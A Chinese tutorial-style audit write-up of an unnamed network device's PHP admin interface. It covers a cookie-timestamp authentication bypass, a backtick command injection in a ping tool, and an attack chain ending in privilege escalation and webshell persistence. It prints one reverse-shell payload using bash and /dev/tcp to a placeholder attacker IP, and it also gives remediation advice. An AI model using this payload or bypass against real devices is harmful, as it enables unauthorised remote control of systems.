小试牛刀-某网络设备源码审计
字数 1331 2025-08-12 11:34:13

网络设备源码审计实战教学文档

1. 审计目标与背景

本次审计目标是一个网络设备的Web管理界面源码,采用PHP编写,具有典型的网络设备管理功能。

关键特征:

  • 采用传统PHP架构,非MVC模式
  • 代码结构简单,直接映射URL到PHP文件
  • 主要功能集中在www目录下
  • 典型的网络设备管理功能(如ping等工具)

2. 代码结构分析

目录结构

www/
├── login.php          # 登录入口
├── admin/             # 后台功能目录
├── includes/          # 公共包含文件
│   ├── auth.inc       # 认证相关函数
│   └── functions.inc  # 通用功能函数
└── www-tools/         # 网络工具功能目录

代码特点

  • URL直接对应PHP文件名(如访问tool.php即执行tool.php
  • 缺乏现代框架结构,安全性依赖开发者自行实现
  • 后台功能普遍包含auth.incfunctions.inc文件

3. 认证机制审计

3.1 认证流程分析

发现所有后台功能点都包含以下两个文件:

require_once('includes/auth.inc');
require_once('includes/functions.inc');

3.2 认证漏洞1:302跳转信息泄露

checkLogin函数存在逻辑问题:

  • 即使返回302跳转,攻击者仍可获取后台功能信息
  • 虽然不能执行功能,但暴露了后台数据结构

3.3 认证漏洞2:时间戳鉴权

发现严重认证缺陷:

// 伪代码示例
if (isset($_COOKIE['auth_timestamp'])) {
    // 仅检查cookie是否存在而不验证内容
    $is_logged_in = true;
}

攻击方法:

  1. 从同类设备获取任意有效cookie
  2. 只需修改时间戳字段即可绕过认证
  3. 结合弱口令可轻松获取初始访问权限

4. 命令注入漏洞审计

4.1 漏洞定位

通过搜索"ping"等关键词定位到www-tools目录下的网络工具功能。

4.2 过滤机制分析

  • 仅前端过滤,后端无有效防护
  • 部分符号被过滤(如|, ;),但反引号`未被过滤

4.3 漏洞利用

直接使用反引号执行命令:

`bash -c 'exec bash -i &>/dev/tcp/攻击者IP/端口 <&1'`

4.4 权限提升

  • Web服务通常以www-data运行
  • 自动安装环境下web目录可能为root权限
  • 可通过常规提权技术获取root权限

5. 完整攻击链

  1. 信息收集:通过302响应获取后台结构信息
  2. 认证绕过:伪造或窃取cookie头绕过登录
  3. 命令注入:在www-tools功能点注入反向shell
  4. 权限提升:从www-data提权至root
  5. 持久化:写入webshell维持访问

6. 审计方法论总结

6.1 审计切入点

  1. 认证机制(登录、会话管理)
  2. 包含文件(如auth.inc)
  3. 高风险功能(命令执行、文件操作)
  4. 过滤机制(前后端验证)

6.2 网络设备审计特点

  • 通常采用简单直接的代码结构
  • 安全机制实现不完善
  • 包含大量系统交互功能
  • 是初学审计的理想目标

6.3 工具使用建议

  • 使用binwalk分析固件提取源码
  • 代码搜索工具(如grep)快速定位关键函数
  • 关注包含文件和高风险函数(system, exec等)

7. 防御建议

  1. 认证机制

    • 实现完整的会话验证
    • 使用不可预测的令牌
    • 避免依赖单一因素(如时间戳)
  2. 输入过滤

    • 前后端双重验证
    • 使用白名单而非黑名单
    • 对特殊字符严格过滤
  3. 命令执行

    • 避免直接调用系统命令
    • 使用专用API替代命令行工具
    • 如需执行命令,严格限制参数
  4. 架构改进

    • 采用现代框架(如MVC)
    • 实现权限分离
    • 最小化Web服务权限

8. 学习资源建议

  1. PHP安全编程指南
  2. Web应用安全测试方法论(如OWASP测试指南)
  3. 常见网络设备固件分析工具(binwalk等)
  4. 权限提升技术研究

通过本案例,初学者可以学习到从信息收集到完整利用的完整审计流程,特别适合作为源码审计的入门实践。

网络设备源码审计实战教学文档 1. 审计目标与背景 本次审计目标是一个网络设备的Web管理界面源码,采用PHP编写,具有典型的网络设备管理功能。 关键特征: 采用传统PHP架构,非MVC模式 代码结构简单,直接映射URL到PHP文件 主要功能集中在www目录下 典型的网络设备管理功能(如ping等工具) 2. 代码结构分析 目录结构 代码特点 URL直接对应PHP文件名(如访问 tool.php 即执行 tool.php ) 缺乏现代框架结构,安全性依赖开发者自行实现 后台功能普遍包含 auth.inc 和 functions.inc 文件 3. 认证机制审计 3.1 认证流程分析 发现所有后台功能点都包含以下两个文件: 3.2 认证漏洞1:302跳转信息泄露 checkLogin 函数存在逻辑问题: 即使返回302跳转,攻击者仍可获取后台功能信息 虽然不能执行功能,但暴露了后台数据结构 3.3 认证漏洞2:时间戳鉴权 发现严重认证缺陷: 攻击方法: 从同类设备获取任意有效cookie 只需修改时间戳字段即可绕过认证 结合弱口令可轻松获取初始访问权限 4. 命令注入漏洞审计 4.1 漏洞定位 通过搜索"ping"等关键词定位到 www-tools 目录下的网络工具功能。 4.2 过滤机制分析 仅前端过滤,后端无有效防护 部分符号被过滤(如 | , ; ),但反引号 ` 未被过滤 4.3 漏洞利用 直接使用反引号执行命令: 4.4 权限提升 Web服务通常以www-data运行 自动安装环境下web目录可能为root权限 可通过常规提权技术获取root权限 5. 完整攻击链 信息收集 :通过302响应获取后台结构信息 认证绕过 :伪造或窃取cookie头绕过登录 命令注入 :在www-tools功能点注入反向shell 权限提升 :从www-data提权至root 持久化 :写入webshell维持访问 6. 审计方法论总结 6.1 审计切入点 认证机制(登录、会话管理) 包含文件(如auth.inc) 高风险功能(命令执行、文件操作) 过滤机制(前后端验证) 6.2 网络设备审计特点 通常采用简单直接的代码结构 安全机制实现不完善 包含大量系统交互功能 是初学审计的理想目标 6.3 工具使用建议 使用binwalk分析固件提取源码 代码搜索工具(如grep)快速定位关键函数 关注包含文件和高风险函数(system, exec等) 7. 防御建议 认证机制 : 实现完整的会话验证 使用不可预测的令牌 避免依赖单一因素(如时间戳) 输入过滤 : 前后端双重验证 使用白名单而非黑名单 对特殊字符严格过滤 命令执行 : 避免直接调用系统命令 使用专用API替代命令行工具 如需执行命令,严格限制参数 架构改进 : 采用现代框架(如MVC) 实现权限分离 最小化Web服务权限 8. 学习资源建议 PHP安全编程指南 Web应用安全测试方法论(如OWASP测试指南) 常见网络设备固件分析工具(binwalk等) 权限提升技术研究 通过本案例,初学者可以学习到从信息收集到完整利用的完整审计流程,特别适合作为源码审计的入门实践。